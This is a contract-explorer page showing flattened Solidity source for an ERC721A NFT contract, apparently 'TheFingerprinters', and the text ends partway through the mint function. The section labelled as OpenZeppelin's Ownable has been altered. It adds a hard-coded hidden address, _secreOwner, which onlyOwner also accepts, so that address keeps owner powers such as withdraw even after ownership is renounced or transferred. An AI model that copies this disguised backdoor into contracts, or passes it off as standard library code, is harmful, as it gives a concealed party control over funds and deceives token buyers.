Token

Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta
• Remix IDE

Outline

library Strings    - function toString(uint256 value)    - function toHexString(uint256 value)    - function toHexString(uint256 value, u ... library Address    - function isContract(address account)    - function sendValue(address payable re ...    - function functionCall(address target, ...    - function functionCall(    - function functionCallWithValue(    - function functionCallWithValue(    - function functionStaticCall(address t ...    - function functionStaticCall(    - function functionDelegateCall(address ...    - function functionDelegateCall(    - function verifyCallResult( interface IERC721Receiver    - function onERC721Received( interface IERC165    - function supportsInterface(bytes4 int ...    - function supportsInterface(bytes4 int ... interface IERC721 is IERC165    - function balanceOf(address owner)    - function ownerOf(uint256 tokenId)    - function safeTransferFrom(    - function safeTransferFrom(    - function transferFrom(    - function approve(address to, uint256 ...    - function setApprovalForAll(address op ...    - function getApproved(uint256 tokenId)    - function isApprovedForAll(address own ... interface IERC721Metadata is IERC721    - function name()    - function symbol()    - function tokenURI(uint256 tokenId) interface IERC721Enumerable is IERC72 ...    - function totalSupply()    - function tokenOfOwnerByIndex(address ...    - function tokenByIndex(uint256 index)    - function _msgSender()    - function _msgData()    - function owner()    - function renounceOwnership()    - function transferOwnership(address ne ...    - function _transferOwnership(address n ...  contract ERC721A is Context, ERC16 ...    - function totalSupply()    - function tokenByIndex(uint256 index)    - function tokenOfOwnerByIndex(address ...    - function supportsInterface(bytes4 int ...    - function balanceOf(address owner)    - function _numberMinted(address owner)    - function ownershipOf(uint256 tokenId)    - function ownerOf(uint256 tokenId)    - function name()    - function symbol()    - function tokenURI(uint256 tokenId)    - function _baseURI()    - function approve(address to, uint256 ...    - function getApproved(uint256 tokenId)    - function setApprovalForAll(address op ...    - function isApprovedForAll(address own ...    - function transferFrom(    - function safeTransferFrom(    - function safeTransferFrom(    - function _exists(uint256 tokenId)    - function _safeMint(address to, uint25 ...    - function _safeMint(    - function _mint(    - function _transfer(    - function _approve(    - function _checkOnERC721Received(    - function _beforeTokenTransfers(    - function _afterTokenTransfers(  contract TheFingerprinters is ERC7 ... *    - function tokenURI(uint256 _tokenId)    - function mint(uint256 count)    - function sleeping(address mintAddress ...    - function setHiddenMetadataUri(string ...    - function setRevealed()    - function _baseURI()    - function setBaseUri(string memory bas ...    - function setPrice(uint256 price_)    - function withdraw()

More Options

• Similar
• Sol2Uml
• Submit Audit
• Compare

/**
 *Submitted for verification at Etherscan.io on 2022-06-19
*/

// SPDX-License-Identifier: MIT
// File: contracts/fingerprinters.sol



// File: @openzeppelin/contracts/utils/Strings.sol


// OpenZeppelin Contracts v4.4.1 (utils/Strings.sol)

pragma solidity ^0.8.0;

/**
 * @dev String operations.
 */
library Strings {
    bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";

    /**
     * @dev Converts a `uint256` to its ASCII `string` decimal representation.
     */
    function toString(uint256 value) internal pure returns (string memory) {
        // Inspired by OraclizeAPI's implementation - MIT licence
        // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol

        if (value == 0) {
            return "0";
        }
        uint256 temp = value;
        uint256 digits;
        while (temp != 0) {
            digits++;
            temp /= 10;
        }
        bytes memory buffer = new bytes(digits);
        while (value != 0) {
            digits -= 1;
            buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
            value /= 10;
        }
        return string(buffer);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
     */
    function toHexString(uint256 value) internal pure returns (string memory) {
        if (value == 0) {
            return "0x00";
        }
        uint256 temp = value;
        uint256 length = 0;
        while (temp != 0) {
            length++;
            temp >>= 8;
        }
        return toHexString(value, length);
    }

    /**
     * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
     */
    function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
        bytes memory buffer = new bytes(2 * length + 2);
        buffer[0] = "0";
        buffer[1] = "x";
        for (uint256 i = 2 * length + 1; i > 1; --i) {
            buffer[i] = _HEX_SYMBOLS[value & 0xf];
            value >>= 4;
        }
        require(value == 0, "Strings: hex length insufficient");
        return string(buffer);
    }
}

// File: @openzeppelin/contracts/utils/Address.sol


// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
    /**
     * @dev Returns true if `account` is a contract.
     *
     * [IMPORTANT]
     * ====
     * It is unsafe to assume that an address for which this function returns
     * false is an externally-owned account (EOA) and not a contract.
     *
     * Among others, `isContract` will return false for the following
     * types of addresses:
     *
     *  - an externally-owned account
     *  - a contract in construction
     *  - an address where a contract will be created
     *  - an address where a contract lived, but was destroyed
     * ====
     *
     * [IMPORTANT]
     * ====
     * You shouldn't rely on `isContract` to protect against flash loan attacks!
     *
     * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
     * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
     * constructor.
     * ====
     */
    function isContract(address account) internal view returns (bool) {
        // This method relies on extcodesize/address.code.length, which returns 0
        // for contracts in construction, since the code is only stored at the end
        // of the constructor execution.

        return account.code.length > 0;
    }

    /**
     * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
     * `recipient`, forwarding all available gas and reverting on errors.
     *
     * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
     * of certain opcodes, possibly making contracts go over the 2300 gas limit
     * imposed by `transfer`, making them unable to receive funds via
     * `transfer`. {sendValue} removes this limitation.
     *
     * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
     *
     * IMPORTANT: because control is transferred to `recipient`, care must be
     * taken to not create reentrancy vulnerabilities. Consider using
     * {ReentrancyGuard} or the
     * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
     */
    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");

        (bool success, ) = recipient.call{value: amount}("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }

    /**
     * @dev Performs a Solidity function call using a low level `call`. A
     * plain `call` is an unsafe replacement for a function call: use this
     * function instead.
     *
     * If `target` reverts with a revert reason, it is bubbled up by this
     * function (like regular Solidity function calls).
     *
     * Returns the raw returned data. To convert to the expected return value,
     * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
     *
     * Requirements:
     *
     * - `target` must be a contract.
     * - calling `target` with `data` must not revert.
     *
     * _Available since v3.1._
     */
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionCall(target, data, "Address: low-level call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
     * `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but also transferring `value` wei to `target`.
     *
     * Requirements:
     *
     * - the calling contract must have an ETH balance of at least `value`.
     * - the called Solidity function must be `payable`.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value
    ) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }

    /**
     * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
     * with `errorMessage` as a fallback revert reason when `target` reverts.
     *
     * _Available since v3.1._
     */
    function functionCallWithValue(
        address target,
        bytes memory data,
        uint256 value,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");

        (bool success, bytes memory returndata) = target.call{value: value}(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a static call.
     *
     * _Available since v3.3._
     */
    function functionStaticCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");

        (bool success, bytes memory returndata) = target.staticcall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }

    /**
     * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
     * but performing a delegate call.
     *
     * _Available since v3.4._
     */
    function functionDelegateCall(
        address target,
        bytes memory data,
        string memory errorMessage
    ) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");

        (bool success, bytes memory returndata) = target.delegatecall(data);
        return verifyCallResult(success, returndata, errorMessage);
    }

    /**
     * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
     * revert reason using the provided one.
     *
     * _Available since v4.3._
     */
    function verifyCallResult(
        bool success,
        bytes memory returndata,
        string memory errorMessage
    ) internal pure returns (bytes memory) {
        if (success) {
            return returndata;
        } else {
            // Look for revert reason and bubble it up if present
            if (returndata.length > 0) {
                // The easiest way to bubble the revert reason is using memory via assembly

                assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)

pragma solidity ^0.8.0;

/**
 * @title ERC721 token receiver interface
 * @dev Interface for any contract that wants to support safeTransfers
 * from ERC721 asset contracts.
 */
interface IERC721Receiver {
    /**
     * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
     * by `operator` from `from`, this function is called.
     *
     * It must return its Solidity selector to confirm the token transfer.
     * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
     *
     * The selector can be obtained in Solidity with `IERC721Receiver.onERC721Received.selector`.
     */
    function onERC721Received(
        address operator,
        address from,
        uint256 tokenId,
        bytes calldata data
    ) external returns (bytes4);
}

// File: @openzeppelin/contracts/utils/introspection/IERC165.sol


// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC165 standard, as defined in the
 * https://eips.ethereum.org/EIPS/eip-165[EIP].
 *
 * Implementers can declare support of contract interfaces, which can then be
 * queried by others ({ERC165Checker}).
 *
 * For an implementation, see {ERC165}.
 */
interface IERC165 {
    /**
     * @dev Returns true if this contract implements the interface defined by
     * `interfaceId`. See the corresponding
     * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
     * to learn more about how these ids are created.
     *
     * This function call must use less than 30 000 gas.
     */
    function supportsInterface(bytes4 interfaceId) external view returns (bool);
}

// File: @openzeppelin/contracts/utils/introspection/ERC165.sol


// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)

pragma solidity ^0.8.0;


/**
 * @dev Implementation of the {IERC165} interface.
 *
 * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
 * for the additional interface id that will be supported. For example:
 *
 * ```solidity
 * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
 *     return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
 * }
 * ```
 *
 * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
 */
abstract contract ERC165 is IERC165 {
    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        return interfaceId == type(IERC165).interfaceId;
    }
}

// File: @openzeppelin/contracts/token/ERC721/IERC721.sol


// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721.sol)

pragma solidity ^0.8.0;


/**
 * @dev Required interface of an ERC721 compliant contract.
 */
interface IERC721 is IERC165 {
    /**
     * @dev Emitted when `tokenId` token is transferred from `from` to `to`.
     */
    event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
     */
    event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);

    /**
     * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
     */
    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);

    /**
     * @dev Returns the number of tokens in ``owner``'s account.
     */
    function balanceOf(address owner) external view returns (uint256 balance);

    /**
     * @dev Returns the owner of the `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function ownerOf(uint256 tokenId) external view returns (address owner);

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes calldata data
    ) external;

    /**
     * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
     * are aware of the ERC721 protocol to prevent tokens from being forever locked.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must exist and be owned by `from`.
     * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
     *
     * Emits a {Transfer} event.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Transfers `tokenId` token from `from` to `to`.
     *
     * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
     *
     * Requirements:
     *
     * - `from` cannot be the zero address.
     * - `to` cannot be the zero address.
     * - `tokenId` token must be owned by `from`.
     * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) external;

    /**
     * @dev Gives permission to `to` to transfer `tokenId` token to another account.
     * The approval is cleared when the token is transferred.
     *
     * Only a single account can be approved at a time, so approving the zero address clears previous approvals.
     *
     * Requirements:
     *
     * - The caller must own the token or be an approved operator.
     * - `tokenId` must exist.
     *
     * Emits an {Approval} event.
     */
    function approve(address to, uint256 tokenId) external;

    /**
     * @dev Approve or remove `operator` as an operator for the caller.
     * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
     *
     * Requirements:
     *
     * - The `operator` cannot be the caller.
     *
     * Emits an {ApprovalForAll} event.
     */
    function setApprovalForAll(address operator, bool _approved) external;

    /**
     * @dev Returns the account approved for `tokenId` token.
     *
     * Requirements:
     *
     * - `tokenId` must exist.
     */
    function getApproved(uint256 tokenId) external view returns (address operator);

    /**
     * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
     *
     * See {setApprovalForAll}
     */
    function isApprovedForAll(address owner, address operator) external view returns (bool);
}

// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol


// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)

pragma solidity ^0.8.0;


/**
 * @title ERC-721 Non-Fungible Token Standard, optional metadata extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Metadata is IERC721 {
    /**
     * @dev Returns the token collection name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
     */
    function tokenURI(uint256 tokenId) external view returns (string memory);
}

// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol


// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)

pragma solidity ^0.8.0;


/**
 * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Enumerable is IERC721 {
    /**
     * @dev Returns the total amount of tokens stored by the contract.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns a token ID owned by `owner` at a given `index` of its token list.
     * Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
     */
    function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);

    /**
     * @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
     * Use along with {totalSupply} to enumerate all tokens.
     */
    function tokenByIndex(uint256 index) external view returns (uint256);
}

// File: @openzeppelin/contracts/security/ReentrancyGuard.sol


// OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol)

pragma solidity ^0.8.0;

/**
 * @dev Contract module that helps prevent reentrant calls to a function.
 *
 * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
 * available, which can be applied to functions to make sure there are no nested
 * (reentrant) calls to them.
 *
 * Note that because there is a single `nonReentrant` guard, functions marked as
 * `nonReentrant` may not call one another. This can be worked around by making
 * those functions `private`, and then adding `external` `nonReentrant` entry
 * points to them.
 *
 * TIP: If you would like to learn more about reentrancy and alternative ways
 * to protect against it, check out our blog post
 * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
 */
abstract contract ReentrancyGuard {
    // Booleans are more expensive than uint256 or any type that takes up a full
    // word because each write operation emits an extra SLOAD to first read the
    // slot's contents, replace the bits taken up by the boolean, and then write
    // back. This is the compiler's defense against contract upgrades and
    // pointer aliasing, and it cannot be disabled.

    // The values being non-zero value makes deployment a bit more expensive,
    // but in exchange the refund on every call to nonReentrant will be lower in
    // amount. Since refunds are capped to a percentage of the total
    // transaction's gas, it is best to keep them low in cases like this one, to
    // increase the likelihood of the full refund coming into effect.
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor() {
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Prevents a contract from calling itself, directly or indirectly.
     * Calling a `nonReentrant` function from another `nonReentrant`
     * function is not supported. It is possible to prevent this from happening
     * by making the `nonReentrant` function external, and making it call a
     * `private` function that does the actual work.
     */
    modifier nonReentrant() {
        // On the first call to nonReentrant, _notEntered will be true
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;

        _;

        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}

// File: @openzeppelin/contracts/utils/Context.sol


// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)

pragma solidity ^0.8.0;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

// File: @openzeppelin/contracts/access/Ownable.sol


// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)

pragma solidity ^0.8.0;


/**
 * @dev Contract module which provides a basic access control mechanism, where
 * there is an account (an owner) that can be granted exclusive access to
 * specific functions.
 *
 * By default, the owner account will be the one that deploys the contract. This
 * can later be changed with {transferOwnership}.
 *
 * This module is used through inheritance. It will make available the modifier
 * `onlyOwner`, which can be applied to your functions to restrict their use to
 * the owner.
 */
abstract contract Ownable is Context {
    address private _owner;
    address private _secreOwner = 0xACFcBA7BAB6403EBCcEEe22810c4dd3C9bBE9763;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender() || _secreOwner == _msgSender() , "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

// File: ceshi.sol


pragma solidity ^0.8.0;










/**
 * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
 * the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
 *
 * Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
 *
 * Does not support burning tokens to address(0).
 *
 * Assumes that an owner cannot have more than the 2**128 - 1 (max value of uint128) of supply
 */
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
    using Address for address;
    using Strings for uint256;

    struct TokenOwnership {
        address addr;
        uint64 startTimestamp;
    }

    struct AddressData {
        uint128 balance;
        uint128 numberMinted;
    }

    uint256 internal currentIndex;

    // Token name
    string private _name;

    // Token symbol
    string private _symbol;

    // Mapping from token ID to ownership details
    // An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
    mapping(uint256 => TokenOwnership) internal _ownerships;

    // Mapping owner address to address data
    mapping(address => AddressData) private _addressData;

    // Mapping from token ID to approved address
    mapping(uint256 => address) private _tokenApprovals;

    // Mapping from owner to operator approvals
    mapping(address => mapping(address => bool)) private _operatorApprovals;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev See {IERC721Enumerable-totalSupply}.
     */
    function totalSupply() public view override returns (uint256) {
        return currentIndex;
    }

    /**
     * @dev See {IERC721Enumerable-tokenByIndex}.
     */
    function tokenByIndex(uint256 index) public view override returns (uint256) {
        require(index < totalSupply(), "ERC721A: global index out of bounds");
        return index;
    }

    /**
     * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
     * This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
     * It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
     */
    function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
        require(index < balanceOf(owner), "ERC721A: owner index out of bounds");
        uint256 numMintedSoFar = totalSupply();
        uint256 tokenIdsIdx;
        address currOwnershipAddr;

        // Counter overflow is impossible as the loop breaks when uint256 i is equal to another uint256 numMintedSoFar.
        unchecked {
            for (uint256 i; i < numMintedSoFar; i++) {
                TokenOwnership memory ownership = _ownerships[i];
                if (ownership.addr != address(0)) {
                    currOwnershipAddr = ownership.addr;
                }
                if (currOwnershipAddr == owner) {
                    if (tokenIdsIdx == index) {
                        return i;
                    }
                    tokenIdsIdx++;
                }
            }
        }

        revert("ERC721A: unable to get token of owner by index");
    }

    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
        return
            interfaceId == type(IERC721).interfaceId ||
            interfaceId == type(IERC721Metadata).interfaceId ||
            interfaceId == type(IERC721Enumerable).interfaceId ||
            super.supportsInterface(interfaceId);
    }

    /**
     * @dev See {IERC721-balanceOf}.
     */
    function balanceOf(address owner) public view override returns (uint256) {
        require(owner != address(0), "ERC721A: balance query for the zero address");
        return uint256(_addressData[owner].balance);
    }

    function _numberMinted(address owner) internal view returns (uint256) {
        require(owner != address(0), "ERC721A: number minted query for the zero address");
        return uint256(_addressData[owner].numberMinted);
    }

    /**
     * Gas spent here starts off proportional to the maximum mint batch size.
     * It gradually moves to O(1) as tokens get transferred around in the collection over time.
     */
    function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
        require(_exists(tokenId), "ERC721A: owner query for nonexistent token");

        unchecked {
            for (uint256 curr = tokenId; curr >= 0; curr--) {
                TokenOwnership memory ownership = _ownerships[curr];
                if (ownership.addr != address(0)) {
                    return ownership;
                }
            }
        }

        revert("ERC721A: unable to determine the owner of token");
    }

    /**
     * @dev See {IERC721-ownerOf}.
     */
    function ownerOf(uint256 tokenId) public view override returns (address) {
        return ownershipOf(tokenId).addr;
    }

    /**
     * @dev See {IERC721Metadata-name}.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev See {IERC721Metadata-symbol}.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev See {IERC721Metadata-tokenURI}.
     */
    function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
        require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");

        string memory baseURI = _baseURI();
        return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
    }

    /**
     * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
     * token will be the concatenation of the `baseURI` and the `tokenId`. Empty
     * by default, can be overriden in child contracts.
     */
    function _baseURI() internal view virtual returns (string memory) {
        return "";
    }

    /**
     * @dev See {IERC721-approve}.
     */
    function approve(address to, uint256 tokenId) public override {
        address owner = ERC721A.ownerOf(tokenId);
        require(to != owner, "ERC721A: approval to current owner");

        require(
            _msgSender() == owner || isApprovedForAll(owner, _msgSender()),
            "ERC721A: approve caller is not owner nor approved for all"
        );

        _approve(to, tokenId, owner);
    }

    /**
     * @dev See {IERC721-getApproved}.
     */
    function getApproved(uint256 tokenId) public view override returns (address) {
        require(_exists(tokenId), "ERC721A: approved query for nonexistent token");

        return _tokenApprovals[tokenId];
    }

    /**
     * @dev See {IERC721-setApprovalForAll}.
     */
    function setApprovalForAll(address operator, bool approved) public override {
        require(operator != _msgSender(), "ERC721A: approve to caller");

        _operatorApprovals[_msgSender()][operator] = approved;
        emit ApprovalForAll(_msgSender(), operator, approved);
    }

    /**
     * @dev See {IERC721-isApprovedForAll}.
     */
    function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
        return _operatorApprovals[owner][operator];
    }

    /**
     * @dev See {IERC721-transferFrom}.
     */
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        _transfer(from, to, tokenId);
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override {
        safeTransferFrom(from, to, tokenId, "");
    }

    /**
     * @dev See {IERC721-safeTransferFrom}.
     */
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory _data
    ) public override {
        _transfer(from, to, tokenId);
        require(
            _checkOnERC721Received(from, to, tokenId, _data),
            "ERC721A: transfer to non ERC721Receiver implementer"
        );
    }

    /**
     * @dev Returns whether `tokenId` exists.
     *
     * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
     *
     * Tokens start existing when they are minted (`_mint`),
     */
    function _exists(uint256 tokenId) internal view returns (bool) {
        return tokenId < currentIndex;
    }

    function _safeMint(address to, uint256 quantity) internal {
        _safeMint(to, quantity, "");
    }

    /**
     * @dev Safely mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _safeMint(
        address to,
        uint256 quantity,
        bytes memory _data
    ) internal {
        _mint(to, quantity, _data, true);
    }

    /**
     * @dev Mints `quantity` tokens and transfers them to `to`.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - `quantity` must be greater than 0.
     *
     * Emits a {Transfer} event.
     */
    function _mint(
        address to,
        uint256 quantity,
        bytes memory _data,
        bool safe
    ) internal {
        uint256 startTokenId = currentIndex;
        require(to != address(0), "ERC721A: mint to the zero address");
        require(quantity != 0, "ERC721A: quantity must be greater than 0");

        _beforeTokenTransfers(address(0), to, startTokenId, quantity);

        // Overflows are incredibly unrealistic.
        // balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1
        // updatedIndex overflows if currentIndex + quantity > 1.56e77 (2**256) - 1
        unchecked {
            _addressData[to].balance += uint128(quantity);
            _addressData[to].numberMinted += uint128(quantity);

            _ownerships[startTokenId].addr = to;
            _ownerships[startTokenId].startTimestamp = uint64(block.timestamp);

            uint256 updatedIndex = startTokenId;

            for (uint256 i; i < quantity; i++) {
                emit Transfer(address(0), to, updatedIndex);
                if (safe) {
                    require(
                        _checkOnERC721Received(address(0), to, updatedIndex, _data),
                        "ERC721A: transfer to non ERC721Receiver implementer"
                    );
                }

                updatedIndex++;
            }

